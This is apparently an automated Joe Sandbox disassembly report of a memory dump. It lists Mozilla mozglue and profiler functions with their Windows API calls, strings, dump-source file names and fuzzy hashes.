API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f944cdc6bc340e3db7fb3751c85bf89fcc0545df2f0977463ef60acbccfbd20b
Instruction ID: 3e2b67d5da2fc55c59b8306ab98f0e3f3a857da6d6d28b4699875a0216e51dc2
Opcode Fuzzy Hash: f944cdc6bc340e3db7fb3751c85bf89fcc0545df2f0977463ef60acbccfbd20b
Instruction Fuzzy Hash: B841E571B012209BDB109F66CC88BAA7775EFC9318F140015E91597B02CB79AC05CBEA

Function 6C5FD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD918
GetCurrentThreadId.KERNEL32 ref: 6C5FD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD970
GetCurrentThreadId.KERNEL32 ref: 6C5FD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5FDA2E
GetCurrentThreadId.KERNEL32 ref: 6C5FDA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FDA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C5FDA91

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FDAB7

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 8f8034664b74c235ac9d7c8c65b90f8f3dfd002005ff02074fa752b47829bff7
Instruction ID: 0333c6d4635f4cfa9c4fa3057f66bd47a8ba1734822a21bcf81730c905ac5048
Opcode Fuzzy Hash: 8f8034664b74c235ac9d7c8c65b90f8f3dfd002005ff02074fa752b47829bff7
Instruction Fuzzy Hash: 5271A935604304DFCB04DF29C888A9ABBB5FF89354F158569E85A9B301DB34A845CFA5

Function 6C5FD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD52A
GetCurrentThreadId.KERNEL32 ref: 6C5FD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD55F
free.MOZGLUE(00000000), ref: 6C5FD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5FD5D3
GetCurrentThreadId.KERNEL32 ref: 6C5FD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD652
GetCurrentThreadId.KERNEL32 ref: 6C5FD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD6A2

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 0e539773b435dbde7afbbe333bb4567307dd2dd53ee606a47c3995f2eb245bdc
Instruction ID: bd0a2a167f11c15bff91ecacebe5fd50ffbe98bd5735a06bc675e3bb5e177760
Opcode Fuzzy Hash: 0e539773b435dbde7afbbe333bb4567307dd2dd53ee606a47c3995f2eb245bdc
Instruction Fuzzy Hash: 97516B71604705DFC704DF35C888A9ABBF4FF89358F108A2EE85A87711DB34A94ACB95

Function 6C5A1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5A1EC1
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1EE1
EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5A1F38
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5A1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5A1F83
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FC0
EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FE2
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5A2019

Strings

MOZ_CRASH(), xrefs: 6C5A2000
Dbl, xrefs: 6C5A1F32
Dbl, xrefs: 6C5A1F56
\bl, xrefs: 6C5A1F3E

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dbl$Dbl$MOZ_CRASH()$\bl
API String ID: 2055633661-2003662670
Opcode ID: 624a4fefef57437f5626c32cda91aa8559df1c7042933f26c4fac25a862c1b57
Instruction ID: 4e0ba75fd7903f07b1a281ca017b0d8d97a2916a52963529a28721669fbcd374
Opcode Fuzzy Hash: 624a4fefef57437f5626c32cda91aa8559df1c7042933f26c4fac25a862c1b57
Instruction Fuzzy Hash: A041C171B003158BDF009FBACC84BAE7AB5FB8A389F010035E94597B40D7799805CBE9

Function 6C5C5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5C56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5C56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C5C5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5C57BC
GetTickCount64.KERNEL32 ref: 6C5C58CB
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C58F3
__aulldiv.LIBCMT ref: 6C5C5945
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C62F638,?,?,?,?), ref: 6C5C59E9

Strings

MOZ_APP_RESTART, xrefs: 6C5C56CC

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 0fb087a3eccda5efbd4e006a42a2e99e911f5275acfb1365366cc89fe6ea0fbf
Instruction ID: 5d4250336862ad32119328bf52f3b7aa0fa4f5b3f69c3764172ffaa5b9fdd3ff
Opcode Fuzzy Hash: 0fb087a3eccda5efbd4e006a42a2e99e911f5275acfb1365366cc89fe6ea0fbf
Instruction Fuzzy Hash: 60C1AC31A083509FC705CFA9C880A6ABBF1FFDA754F458A1DE8C497620D734A885DB87

Function 6C5EEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EEC8C

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EECA1
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C5EECC5
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5EED19
CloseHandle.KERNEL32(?), ref: 6C5EED28
free.MOZGLUE(00000000), ref: 6C5EED2F
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C5EEC94

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 03932673b80914f6dc77a8a821320a9a5a16bda0373f3da6a89e9143662c3add
Instruction ID: d2a060a07e2413237a826e5a00685c08ade598e3fbeb856d675adc263b216c20
Opcode Fuzzy Hash: 03932673b80914f6dc77a8a821320a9a5a16bda0373f3da6a89e9143662c3add
Instruction Fuzzy Hash: 6F213271600118EBCB008F65DC88AAA3779FFCA36CF104614FC1997741DBB99C068BAA

Function 6C5E8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5AEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5AEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C5EB392,?,?,00000001), ref: 6C5E91F4

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Strings

name, xrefs: 6C5E8F16
marker-chart, xrefs: 6C5E905E
timeline-fileio, xrefs: 6C5E90A4
timeline-overview, xrefs: 6C5E907A
timeline-memory, xrefs: 6C5E9088
timeline-ipc, xrefs: 6C5E9096
marker-table, xrefs: 6C5E906C
data, xrefs: 6C5E90E8
stack-chart, xrefs: 6C5E90B2

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 66b34a779770cf88fe151751ecec8b07e23c648dee18eb0bca85acedeea74e6d
Instruction ID: 361e60b774ad795e8b3c00c882d51a509c8a1154583b516d5c4c9052b10b1b90
Opcode Fuzzy Hash: 66b34a779770cf88fe151751ecec8b07e23c648dee18eb0bca85acedeea74e6d
Instruction Fuzzy Hash: F5B1B0B1A04209DBDB04CF99CCA6BEEBBB6AF88318F104429D401ABF80D7759D45CBD5

Function 6C5CC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5CC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5CC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5CC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5CCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5CCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5CCAA5

Strings

0, xrefs: 6C5CD30A
(null), xrefs: 6C5CC596

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 4e55850ca7fe2cc86b11bacc5fb59ae24ba90ea29ec8786a314fd6d938f94a8c
Instruction ID: 238b23af7ec283966682840a5b1c22be70c2c3009ccf85bec683c40507c2adb6
Opcode Fuzzy Hash: 4e55850ca7fe2cc86b11bacc5fb59ae24ba90ea29ec8786a314fd6d938f94a8c
Instruction Fuzzy Hash: A2A19A307083429FDB10DF69C98875ABBE1AF89748F04882DE99AD7741D735E809CB97

Function 6C5CC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5CC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5CC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C5CC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5CC891

Strings

NAN, xrefs: 6C5CC7AD
inf, xrefs: 6C5CC78F
nan, xrefs: 6C5CC7A8
INF, xrefs: 6C5CC794

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 557226aece938a2439f296420c07fef63ab2838b88f68921af016e71bbf62e96
Instruction ID: 93c3154dca050eaba83730fce7331c3e532e3546df05bd62fb311b7793b6d341
Opcode Fuzzy Hash: 557226aece938a2439f296420c07fef63ab2838b88f68921af016e71bbf62e96
Instruction Fuzzy Hash: 5B51A5706087448BD700EFADC98169BFBF0BF9A308F004A2DE9D5A7650E775E9858B43

Function 6C5A3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5A350E
__Init_thread_footer.LIBCMT ref: 6C5A3522
__aulldiv.LIBCMT ref: 6C5A3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A3592

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C5A3508
kernel32.dll, xrefs: 6C5A34EA

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b227b04fd828dc299030c3ba2133d002182e0b596c575e735fb8332e04328c0c
Instruction ID: cbbbbe47fd31ba4fa95100fc93d1585da9a89e9a3c0c38f7cf39bf8eae584c33
Opcode Fuzzy Hash: b227b04fd828dc299030c3ba2133d002182e0b596c575e735fb8332e04328c0c
Instruction Fuzzy Hash: EF319271B002159BDF00DFBACD88EAE77B5FB89305F100419E541936A0DB78E906CF55

Function 6C5A4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C5E4843,?), ref: 6C5A45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C5E4843,?), ref: 6C5A468A
free.MOZGLUE(?,?,?,?,?,?,6C5E4843,?), ref: 6C5A46C9
free.MOZGLUE(?), ref: 6C5A46EF
free.MOZGLUE(?), ref: 6C5A4712
free.MOZGLUE(?), ref: 6C5A4735
free.MOZGLUE(?), ref: 6C5A4758
free.MOZGLUE(?), ref: 6C5A477B
free.MOZGLUE(?), ref: 6C5A479E

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 956d6b742d20f446c37b415ad19da982a66a72e4f81addcce92daf969ff5cfc8
Instruction ID: b235b85f31c7b100b1b88b28b9a7c123636ee0a92927097124baa914d3a6f86f
Opcode Fuzzy Hash: 956d6b742d20f446c37b415ad19da982a66a72e4f81addcce92daf969ff5cfc8
Instruction Fuzzy Hash: 58B10571A001518FDB18CEFDDC9076D77A2AF86328F184668E416DBB92EB31DC428B91

Function 6C60AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C60AC52
CreateFileMappingW.KERNEL32 ref: 6C60AC7D
GetSystemInfo.KERNEL32 ref: 6C60AC98
MapViewOfFile.KERNEL32 ref: 6C60ACB0
GetSystemInfo.KERNEL32 ref: 6C60ACCD
MapViewOfFile.KERNEL32 ref: 6C60AD05
UnmapViewOfFile.KERNEL32 ref: 6C60AD1C
CloseHandle.KERNEL32 ref: 6C60AD28
UnmapViewOfFile.KERNEL32 ref: 6C60AD37
CloseHandle.KERNEL32 ref: 6C60AD43
CloseHandle.KERNEL32 ref: 6C60AD67

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: db92535dc816bf2cc27be4c1a3620d28a1d4facdf7d1cdd889fb3548a7a263bd
Instruction ID: bf8bfe9abb2f62120e484287ac4ed580bcf8d47285b516996b0da01be76345cb
Opcode Fuzzy Hash: db92535dc816bf2cc27be4c1a3620d28a1d4facdf7d1cdd889fb3548a7a263bd
Instruction Fuzzy Hash: 563190B1A043048FDB00AF7DD68826EBBF0FF85345F05892DE98697241EB749449CB86

Function 6C5B9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5B9675
__Init_thread_footer.LIBCMT ref: 6C5B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5B9707
__Init_thread_footer.LIBCMT ref: 6C5B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9773

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5B97B7
FreeLibrary.KERNEL32 ref: 6C5B97D0
FreeLibrary.KERNEL32 ref: 6C5B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9824

Strings

MapViewOfFileNuma2, xrefs: 6C5B97B1
ntdll.dll, xrefs: 6C5B96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5B9670
NtMapViewOfSection, xrefs: 6C5B9701

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 2fa055d8909f508fd37fc8ed104ceac4e62b06d4ec511a9ceff39ef535b1403e
Instruction ID: 726b85e24ac7c84d8d5ea3b8a1c7dda6cc5fca7ae0cf3e248580861b6cff9084
Opcode Fuzzy Hash: 2fa055d8909f508fd37fc8ed104ceac4e62b06d4ec511a9ceff39ef535b1403e
Instruction Fuzzy Hash: 2641A0756003169BDF00CFA6ECE4A977BB4EB8A354F114128ED55A7740D738E805CFAA

Function 6C5F0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
